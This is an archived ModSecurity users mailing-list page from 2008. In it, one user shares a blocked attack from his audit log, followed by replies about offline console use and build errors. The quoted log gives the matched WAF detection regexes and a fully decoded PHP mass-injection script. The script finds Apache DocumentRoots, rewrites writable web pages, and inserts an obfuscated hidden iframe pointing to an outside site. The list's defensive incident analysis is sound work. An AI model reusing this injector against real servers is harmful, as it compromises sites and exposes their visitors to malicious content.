%20%22%24%66%6E%61%6D%65%5C%6E%22%3B%0A%20%20%0A%20%20%24%74%65%78%74%20%3D%20%66%69%6C%65%28%24%66%6E%61%6D%65%29%3B%0A%20%20%24%63%6F%75%6E%74%77%72%2B%2B%3B%0A%0A%20%20%0A%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%78%74%20%61%73%20%24%6B%65%79%3D%3E%24%76%61%6C%29%0A%20%20%7B%0A%20%20%20%20%0A%20%20%0A%20%20%20%20%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%62%6F%64%79%27%29%3B%0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%6B%29%3D%3D%30%29%20%7B%20%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%42%4F%44%59%27%29%3B%7D%0A%20%20%20%20%0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%6B%29%3E%30%29%20%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%76%61%6C%2C%24%63%6F%64%65%29%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%2B%2B%3B%0A%2F%2F%20%20%20%20%20%20%20%20%20%63%6F%6E%74%69%6E%75%65%3B%0A%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%24%76%61%6C%20%3D%20%70%72%65%67%5F%72%65%70%6C%61%63%65%28%27%2F%28%5B%5E%20%5D%29%20%2A%3C%73%63%72%69%70%74%3E%20%76%61%72%20%73%3D%2E%2A%75%6E%65%73%63%61%70%65%2E%2A%3C%5C%2F%73%63%72%69%70%74%3E%20%2A%28%5B%5E%20%5D%29%2F%69%27%2C%27%24%31%24%32%27%2C%24%76%61%6C%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%76%61%6C%2C%27%42%42%46%46%42%42%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%20%2F%2F%62%61%63%6B%2E%70%68%70%0A%0A%20%20%20%20%20%20%24%69%3D%30%3B%20%20%24%6B%2B%3D%35%3B%0A%20%20%20%20%20%20%77%68%69%6C%65%28%24%69%3C%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%2B%31%20%26%26%20%73%75%62%73%74%72%28%24%76%61%6C%2C%24%6B%2B%24%69%2C%31%29%20%21%3D%20%27%3E%27%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24%69%2B%2B%3B%0A%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%24%69%3D%3D%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%2B%31%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%6B%2B%3D%24%69%2B%31%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%0A%20%20%20%20%20%20%24%62%65%67%20%3D%20%73%75%62%73%74%72%28%24%76%61%6C%2C%30%2C%24%6B%29%3B%0A%20%20%20%20%20%20%24%65%6E%64%20%3D%20%73%75%62%73%74%72%28%24%76%61%6C%2C%24%6B%2C%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%74%65%78%74%5B%24%6B%65%79%5D%20%3D%20%24%62%65%67%2E%24%63%6F%64%65%2E%24%65%6E%64%3B%0A%20%20%20%20%20%20%0A%23%20%20%20%20%20%20%65%63%68%6F%20%22%24%62%65%67%24%63%6F%64%65%24%65%6E%64%22%3B%0A%0A%20%20%20%20%20%20%24%66%6F%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%22%77%22%29%3B%0A%20%20%20%20%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%78%74%20%61%73%20%24%6B%65%79%3D%3E%24%76%61%6C%29%0A%20%20%20%20%20%20%7B%0A%23%20%20%20%20%20%20%20%20%65%63%68%6F%20%24%76%61%6C%3B%0A%20%20%20%20%20%20%20%20%66%77%72%69%74%65%28%24%66%6F%2C%24%76%61%6C%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%66%63%6C%6F%73%65%28%24%66%6F%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%63%6F%75%6E%74%64%6F%6E%65%2B%2B%3B%20%0A%23%20%20%20%20%20%20%65%63%68%6F%20%22%24%66%6E%61%6D%65%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%62%72%65%61%6B%3B%0A%20%20%20%20%20%20%20%0A%20%20%20%20%7D%20%0A%20%20%7D%0A%0A%7D%0A%0A%70%63%6C%6F%73%65%28%24%66%70%29%3B%0A%0A%7D%0A%0A%0A%3F%3E
>
> --ac6f6e57-F--
>
> HTTP/1.1 200 OK
>
> Content-Length: 2342
>
> Keep-Alive: timeout=3, max=100
>
> Connection: Keep-Alive
>
> Content-Type: text/html
>
>  
>
> --ac6f6e57-E--
>
> <html>
>
> <head>
>
> <title>Arrow Trader</title><style>
>
> a:active{text-decoration: none; color: #000000;}
>
> a:link{text-decoration: none; color: #000000;}
>
> a:visited{text-decoration: none; color: #000000;}
>
> a:hover{color: #003366;text-decoration:underline;}
>
> body{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: 
> #000000; background-color : #FFFFFF;}
>
> tr{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #000000;}
>
> td{font-family: Verdana, Tahoma, Arial; font-size: 8pt;}
>
> .table1{background-color:#444444; border:none;}
>
> .header1{font-size: 11px; background-color: #CC3300; color: #ffffff;}
>
> .row1{background-color: #eeeeee;}
>
> .row2{background-color: #ffffff;}
>
> .hirow{font-size: 11px; background-color: yellow; color: #111111;}
>
> .form{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: 
> #000000; border:1px solid #a5a5a5;}
>
> .button{font-size: 10px; font-family: Verdana, Tahoma, Arial; 
> background-color: #ffffff; border:1px solid #555555;}
>
> .title1{font-size: 12px; font-family: Verdana, Tahoma, Arial;}
>
> .descr1{font-size: 9px; font-family: Verdana, Tahoma, Arial;}
>
> .chart1{background-color: #A5B2E7; border:1px solid #555555;}
>
> .chart2{background-color: #EE7E4F; border:1px solid #555555;}
>
> .chart3{background-color: #32CD32; border:1px solid #555555;}
>
> table.menu{position:absolute;visibility:hidden;}
>
> .negative{color:red; background-color:#FFE1E1;}
>
> .hiddentext {display:none; font-size: 9px; font-family: Verdana, 
> Tahoma, Arial;}
>
> .help {cursor:hand; font-size: 12px; font-family: Verdana, Tahoma, Arial;}
>
> .check{height:14px; border:none;}
>
> .navrow{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: 
> #000000;}
>
> .navcell1{text-align:center; font-weight: bold; font-family: Verdana, 
> Tahoma, Arial; font-size: 8pt; background-color: #ffffff;}
>
> .navcell2{text-align:center; font-weight: bold; font-family: Verdana, 
> Tahoma, Arial; font-size: 8pt; background-color: #eeeeee;}
>
> .navcell3{text-align:center; font-weight: bold; font-family: Verdana, 
> Tahoma, Arial; font-size: 8pt; background-color: #ffffff; color:red;}
>
> </style>
>
> </head>
>
> <body class="body1">
>
> <div align=center>
>
> <font style="font:normal 8pt arial;";><font 
> style="color:red;"><b>Error</b></font><br>
>
> Unable to open file 
> <b>/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php</b><br>
>
> Please check file permissions and try again.<br>
>
> </font>
>
> </div>
>
> </body>
>
> </html>
>
> --ac6f6e57-H--
>
> Message: Warning. Pattern match 
>
"\\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id) 
> ..." at ARGS:notes. [id "950904"] [msg "Blind SQL Injection Attack. 
> Matched signature <substr>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"\\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\\b" 
> at ARGS:notes. [id "950906"] [msg "SQL Injection Attack. Matched 
> signature <substr>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|application\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?: 
> ..." at ARGS:notes. [id "950004"] [msg "Cross-site Scripting (XSS) 
> Attack. Matched signature <<script>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" 
> at ARGS:notes. [id "950005"] [msg "Remote File Access Attempt. Matched 
> signature <httpd.conf>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:32)?\\.exe\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}? 
> ..." at ARGS:notes. [id "950006"] [msg "System Command Injection. 
> Matched signature <;\necho>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"(?:\\((?:\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\\b\\W*?=|[^\\w\\x80-\\xFF]*?[\\!\\&\\|][^\\w\\x80-\\xFF]*?\\()|\\)[^\\w\\x80-\\xFF]*?\\([^\\w\\x80-\\xFF]*?[\\!\\&\\|])" 
> at ARGS:notes. [id "950010"] [msg "LDAP Injection Attack. Matched 
> signature <(!(>"] [severity "CRITICAL"]
>
> Message: Warning. Pattern match 
>
"(?:(?:\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\\$_(?:(?:pos|ge)t|session))\\b|<\\?(?!xml))" 
> at ARGS:notes. [id "950013"] [msg "PHP Injection Attack. Matched 
> signature <<?>"] [severity "CRITICAL"]
>
> Apache-Handler: cgi-script
>
> Stopwatch: 1199137640795573 1016850 (904427* 973441 1015915)
>
> Response-Body-Transformed: Dechunked
>
> Producer: ModSecurity v2.1.4 (Apache 2.x)
>
> Server: Apache/2.0.52 (CentOS)
>
>  
>
> --ac6f6e57-Z--
>
>  
>
>  
>
>  
>
> here is the decoded POST payload:
>
>  
>
> <?
>
>  
>
> $debug=0;
>
>  
>
> #$_GET[l]=0;
>
>  
>
>  
>
>  
>
> $code = 
> "                                                                                                                                         
>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <script> 
> var 
>
s='3C696672616D65207372633D22687474703A2F2F7777772E68716D70672E636F6D2F66726565706F726E2F7468756D62732F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; 
> var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  
> o=o+c+s.substr(i,2);} document.write(unescape(o)); 
> </script>                                                                                                                                                 
>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ";
>
>  
>
> error_reporting( E_ERROR );
>
>  
>
> if ($_GET[l]==0) { $_GET[p] = './'; }
>
> if ($_GET[l]==1) { $_GET[p] = '../'; }
>
> if ($_GET[l]==2) { $_GET[p] = '../../'; }
>
> if ($_GET[l]==3) { $_GET[p] = '../../../'; }
>
> if ($_GET[l]==4) { $_GET[p] = '../../../../'; }
>
>  
>
> $path=$argv[1];
>
> if (strlen($path)<2){ $path=$_GET[p]; }
>
> if (strlen($path)<2){ $path='./'; }
>
>  
>
>  
>
> if ($_GET[l]==100 or $argv[2]=='100')
>
> {
>
> $serverroot='';
>
> $paths = getpaths();
>
> echo "paths=$paths\n";
>
>  
>
> $countwr=0;
>
> $countdone=0;
>
> $countprev=0;
>
> $all = explode('::',$paths);
>
> foreach ($all as $path)
>
> {
>
>   checkpath($path);
>
> }
>
>  
>
> echo "  CountWR: $countwr<br>\n";
>
> echo "CountDone: $countdone<br>\n";
>
> echo "CountPrev: $countprev<br>\n";
>
>  
>
>  
>
> exit;
>
>  
>
> }
>
>  
>
> else
>
> {
>
>     $countwr=0;
>
>     $countdone=0;
>
>     $countprev=0;
>
>     checkpath($path);
>
>     echo "  CountWR: $countwr<br>\n";
>
>     echo "CountDone: $countdone<br>\n";
>
>     echo "CountPrev: $countprev<br>\n";
>
> }
>
>  
>
> exit;
>
>  
>
> function getpaths()
>
> {
>
>   global $debug,$serverroot;
>
> #  if ($debug!=1) { if (file_exists('/tmp/paths')) { return ''; }  
> $fp=fopen('/tmp/paths','w'); fclose($fp); }
>
>  
>
>     $paths = '::';
>
>  
>
>     $command  = 'find /etc 2>/dev/null '.chr(0x7C).' grep 
> \'httpd\.conf\'';
>
>     $command .= ';find /var 2>/dev/null '.chr(0x7C).' grep 
> \'httpd\.conf\'';
>
>     $command .= ';find /usr/local 2>/dev/null '.chr(0x7C).' grep 
> \'httpd\.conf\'';
>
>     $fp = popen($command,'r');
>
>     while (!feof($fp))
>
>     {
>
>       $fname = fgets($fp); 
>
>       $fname = substr($fname,0,strlen($fname)-1);
>
>       if (strlen($fname)<1) { continue; }
>
>       echo "httpd.conf: ".$fname."\n";
>
>       if ($debug==1) { $fname='httpd.conf'; }
>
>       $paths = checkconf($fname,$paths,'');
>
>      
>
>     }
>
>     pclose($fp);
>
>    
>
>       if (substr($paths,0,2)=='::')  { $paths = 
> substr($paths,2,strlen($paths)-2);}
>
>       if (substr($paths,-2,2)=='::') { $paths = 
> substr($paths,0,strlen($paths)-2);}
>
>       if (strlen($paths)==0)
>
>       {
>
>         echo "Paths found: 0\n";
>
>       }
>
>       else
>
>       {
>
>         echo "END Paths found: ".(count(explode('::',$paths)))."\n";
>
>       }
>
>    
>
>  
>
>     return $paths;
>
>  
>
> }
>
>  
>
>  
>
>  
>
> function checkconf($fname,$paths,$serverroot)
>
> {
>
> #    echo "checking conf file: $fname\n";
>
>  
>
>     $fp = fopen($fname,'r');
>
>     if (!$fp) {  echo "permission denied: $fname\n"; return ''; }
>
>    
>
>     while (!feof($fp))
>
>     {
>
>       $str = fgets($fp); 
>
>      
>
>       if (substr($str,0,1)=='#') { continue; }
>
>      
>
>       if (strstr($str,'ServerRoot'))
>
>       {
>
>         list ($temp,$sroot) = explode('ServerRoot',$str);
>
>             $sroot = str_replace(' ','',$sroot);
>
>             $sroot = str_replace("\n",'',$sroot);
>
>             $sroot = str_replace("\"",'',$sroot);
>
>             if (substr_count($sroot,'/')<2) { continue; }
>
>             $serverroot = $sroot;
>
>             if (substr($serverroot,-1,1)!='/') { $serverroot.='/';}
>
>             echo "ServerRoot: -$serverroot-\n";
>
>       }
>
>      
>
>       if (strstr($str,'DocumentRoot'))
>
>       {
>
>         list ($temp,$path) = explode('DocumentRoot',$str);
>
>             $path = str_replace(' ','',$path);
>
>             $path = str_replace("\n",'',$path);
>
>             $path = str_replace("\"",'',$path);
>
>             if (substr_count($path,'/')<2) { continue; }
>
>             if (!(strstr($paths,'::'.$path.'::'))) { $paths .= 
> $path.'::'; echo "ADDED PATH: $path\n"; }
>
>             //echo "[0] paths=$paths\n" ;
>
>       }
>
>     
>
>       if (strstr($str,'nclude') && (!(strstr($str,'odule'))))
>
>       {
>
>         list ($temp,$fname) = explode('nclude',$str);
>
>             $fname = str_replace(' ','',$fname);
>
>             $fname = str_replace("\n",'',$fname);
>
>             $fname = str_replace("\"",'',$fname);
>
>             if (strstr($fname,'*')) { continue; }
>
>            
>
> #          echo "[a] fname=$fname\n";
>
>             if (substr($fname,0,1) != '/')
>
>             {
>
>              $fname = $serverroot.$fname;
>
> #          echo "[b] fname=$fname\n";
>
>             }
>
>            
>
>             if (!(file_exists($fname))) { continue; }
>
>            
>
>         echo "include: $fname\n";
>
>             $paths = checkconf($fname,$paths,$serverroot);
>
>       }
>
>     
>
>     }
>
>     fclose($fp);
>
>    
>
>     //echo "[1] paths=$paths fname=$fname\n" ;
>
>    
>
>     return $paths;
>
> }
>
>  
>
> function checkpath($path)
>
> {
>
>  
>
> global $code,$countwr,$countdone,$countprev;
>
>  
>
>  
>
> #print 'find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ -e 
> .php$ -e .htm$ -e .tpl$  -e .templ$ -e .tmpl$';
>
> $fp = popen('find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ 
> -e .php$ -e .htm$ -e .tpl$  -e .templ$ -e .tmpl$','r');
>
>  
>
> while (!feof($fp))
>
> {
>
>   $fname = fgets($fp); 
>
>   $fname = substr($fname,0,strlen($fname)-1);
>
>  
>
>   if (strstr($fname,'bug.php')) { continue; }
>
>   if (strstr($fname,'admin')) { continue; }
>
>   if (strstr($fname,'backup')) { continue; }
>
>   if (strstr($fname,'in.')) { continue; }
>
>   if (strstr($fname,'out.')) { continue; }
>
>   if (strstr($fname,'cron')) { continue; }
>
>   if (strstr($fname,'.ee')) { continue; }
>
>  
>
>   $ff = fopen($fname,'a');
>
>   if (!$ff) { continue; }
>
>   fclose($ff);
>
>  
>
>   if (filesize($fname)>200000) { continue; }
>
>  
>
>  
>
> #  echo "$fname\n";
>
>  
>
>   $text = file($fname);
>
>   $countwr++;
>
>  
>
>  
>
>   foreach ($text as $key=>$val)
>
>   {
>
>    
>
>  
>
>     $k=strpos($val,'<body');
>
>     if (strlen($k)==0) { $k=strpos($val,'<BODY');}
>
>    
>
>     if (strlen($k)>0)
>
>     {
>
>  
>
>       if (strstr($val,$code))
>
>       {
>
>          $countprev++;
>
> //         continue;
>
>       }
>
>  
>
>       $val = preg_replace('/([^ ]) *<script> var 
> s=.*unescape.*≤\/script> *([^ ])/i','$1$2',$val);
>
>    
>
>      
>
>       if (strstr($val,'BBFFBB')) { continue; } //back.php
>
>  
>
>       $i=0;  $k+=5;
>
>       while($i<strlen($val)-$k+1 && substr($val,$k+$i,1) != '>')
>
>       {
>
>         $i++;
>
>       }
>
>      
>
>       if ($i==strlen($val)-$k+1) { continue; }
>
>        
>
>       $k+=$i+1;
>
>      
>
>   &n bsp;  
>
>      
>
>     
>
>       $beg = substr($val,0,$k);
>
>       $end = substr($val,$k,strlen($val)-$k);
>
>      
>
>       $text[$key] = $beg.$code.$end;
>
>      
>
> #      echo "$beg$code$end";
>
>  
>
>       $fo = fopen($fname,"w");
>
>       foreach ($text as $key=>$val)
>
>       {
>
> #        echo $val;
>
>         fwrite($fo,$val);
>
>       }
>
>       fclose($fo);
>
>      
>
>       $countdone++;
>
> #      echo "$fname<br>\n";
>
>      
>
>      
>
>       break;
>
>       
>
>     }
>
>   }
>
>  
>
> }
>
>  
>
> pclose($fp);
>
>  
>
> }
>
>  
>
>  
>
> ?>
>
>  
>
>  
>
> thanks for your help !!
>
> bye
>
> philippe
>
>
>
>
>
> ------------------------------------------------------------------------
> Express yourself instantly with MSN Messenger! MSN Messenger 
> <http://clk.atdmt.com/AVE/go/onm00200471ave/direct/01/>
> ------------------------------------------------------------------------
>
> -------------------------------------------------------------------------
> This SF.net email is sponsored by: Microsoft
> Defy all challenges. Microsoft(R) Visual Studio 2005.
> http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
> ------------------------------------------------------------------------
>
> _______________________________________________
> mod-security-users mailing list
> mod-security-users <at> lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/mod-security-users
>   

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
philippe dr | 3 Jan 18:40
Picon

It is possible to use the modsecurity console in offline mode ?


Hi all,

 

Philippe again,

First thanks chris for this attack-event analysis !

 

I am wondering if it’s possible to use the modsecurity console  in offline mode where I would be able to ftp the current audit log on my PC and run an import script that whould import the different events for analysis on my local PC ?

 

Regards

Philippe



Express yourself instantly with MSN Messenger! MSN Messenger
-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
Robin Diederen | 3 Jan 22:07
Picon

Re: Core rules for mod_security 1.9x or somediffere solution...

Hi Ryan (and others),

 

Thanks for the tips. I tried to download the GotRoot rulesets, but, they are offline.

 

For what the compilation of mod_security v2 is concerned.. I get these errors:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

Makefile:40: /etc/apache2/build/special.mk: No such file or directory

make: *** No rule to make target `/etc/apache2/build/special.mk'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

So then I comment out the reference to special.mk (the build directory does exists in the specified location). Then I comment out the line referring to special.mk; I get this error:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

make: *** No rule to make target `local-shared-build', needed by `all'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

I did install the Apache development packages.

 

Any clues?

 

Best, Robin

 

From: Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com]
Sent: donderdag 3 januari 2008 1:35
To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
Subject: RE: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

There are 2 different places you can look –

 

Keep in mind that both of these rulesets have some limitations (see http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html) which is why we created the Core Rules.  They will, however, provide you with a starting point.

 

As for your compilation errors with the 2.x code, did you see this past email thread? http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you seeing the same errors?

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache

 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Wednesday, January 02, 2008 6:19 PM
To: mod-security-users <at> lists.sourceforge.net
Subject: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

Hello all,

 

First, let me introduce myself. My name is Robin and I just got into hosting (I’m hosting my own websites). While Googlin’ the internet for security enhancements for web servers, I stumbled upon mod_security. After some reading, I decided to give the module a try, as it sounds as quite a promising gain.

 

So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP installation) by using the version offered through the Ubuntu repository. That went well (I would not have expected otherwise). Then, I downloaded the latest core ruleset from the mod_security website. However, that one didn’t work, as it is meant for 2.x versions of mod_security.

 

So now I’m looking for a ruleset that can work with the older mod_security (yeah I know I should not be doing that, but, then again, it’s only for testing purposes) or… a way to install mod_security on my Ubuntu installation (the make process always breaks on various error; some I can resolve, some not).

 

Who can help me?

 

Best, Robin

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
Michael Shinn | 3 Jan 22:11
Favicon

Re: Core rules for mod_security 1.9x or somediffere solution...

The gotroot files archive (which includes the rules) is offline for a
few hours due to scheduled maintenance.  It should be back up before the
end of the day.

On Thu, 2008-01-03 at 22:07 +0100, Robin Diederen wrote:
> Hi Ryan (and others),
> 
>  
> 
> Thanks for the tips. I tried to download the GotRoot rulesets, but,
> they are offline.
> 
>  
> 
> For what the compilation of mod_security v2 is concerned.. I get these
> errors:
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make
> 
> Makefile:40: /etc/apache2/build/special.mk: No such file or directory
> 
> make: *** No rule to make target `/etc/apache2/build/special.mk'.
> Stop.
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#
> 
>  
> 
> So then I comment out the reference to special.mk (the build directory
> does exists in the specified location). Then I comment out the line
> referring to special.mk; I get this error:
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make
> 
> make: *** No rule to make target `local-shared-build', needed by
> `all'.  Stop.
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#
> 
>  
> 
> I did install the Apache development packages.
> 
>  
> 
> Any clues?
> 
>  
> 
> Best, Robin
> 
>  
> 
>                                    
> ______________________________________________________________________
> From:Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com] 
> Sent: donderdag 3 januari 2008 1:35
> To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
> Subject: RE: [mod-security-users] Core rules for mod_security 1.9x or
> somediffere solution...
> 
> 
>  
> 
> There are 2 different places you can look –
> 
>       * The ModSecurity CVS archive for the 1.9 branch has some rules
>         - http://mod-security.cvs.sourceforge.net/mod-security/rules/
>       * Check out the GotRoot Rules -
>         http://www.gotroot.com/mod_security+rules
> 
>  
> 
> Keep in mind that both of these rulesets have some limitations (see
> http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html)
> which is why we created the Core Rules.  They will, however, provide
> you with a starting point.
> 
>  
> 
> As for your compilation errors with the 2.x code, did you see this
> past email thread?
> http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you
> seeing the same errors?
> 
>  
> 
> -- 
> Ryan C. Barnett
> ModSecurity Community Manager
> 
> Breach Security: Director of Training
> 
> Web Application Security Consortium (WASC) Member
> 
> CIS Apache Benchmark Project Lead
> 
> SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC
> 
> Author: Preventing Web Attacks with Apache
> 
> 
>  
> 
> 
>                                    
> ______________________________________________________________________
> From:mod-security-users-bounces <at> lists.sourceforge.net
> [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of
> Robin Diederen
> Sent: Wednesday, January 02, 2008 6:19 PM
> To: mod-security-users <at> lists.sourceforge.net
> Subject: [mod-security-users] Core rules for mod_security 1.9x or
> somediffere solution...
> 
> 
>  
> 
> Hello all,
> 
>  
> 
> First, let me introduce myself. My name is Robin and I just got into
> hosting (I’m hosting my own websites). While Googlin’ the internet for
> security enhancements for web servers, I stumbled upon mod_security.
> After some reading, I decided to give the module a try, as it sounds
> as quite a promising gain.
> 
>  
> 
> So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP
> installation) by using the version offered through the Ubuntu
> repository. That went well (I would not have expected otherwise).
> Then, I downloaded the latest core ruleset from the mod_security
> website. However, that one didn’t work, as it is meant for 2.x
> versions of mod_security.
> 
>  
> 
> So now I’m looking for a ruleset that can work with the older
> mod_security (yeah I know I should not be doing that, but, then again,
> it’s only for testing purposes) or… a way to install mod_security on
> my Ubuntu installation (the make process always breaks on various
> error; some I can resolve, some not).
> 
>  
> 
> Who can help me?
> 
>  
> 
> Best, Robin
> 
> 
> -------------------------------------------------------------------------
> This SF.net email is sponsored by: Microsoft
> Defy all challenges. Microsoft(R) Visual Studio 2005.
> http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
> _______________________________________________ mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/mod-security-users
--

-- 
Michael T. Shinn                                    KeyID:0xDAE2EC86
Key Fingerprint:  1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86
SANS Advisory Board Member

Got Root?  http://www.gotroot.com
modsecurity rules: http://www.modsecurityrules.com
Troubleshooting Firewalls:  http://troubleshootingfirewalls.com

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
Ryan Barnett | 3 Jan 22:24

Re: Core rules for mod_security 1.9x orsomediffere solution...

Did you edit the “top_dir” setting in the Makefile to point to your Apache install?  The build/special.mk file should be under the location you specify.

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache
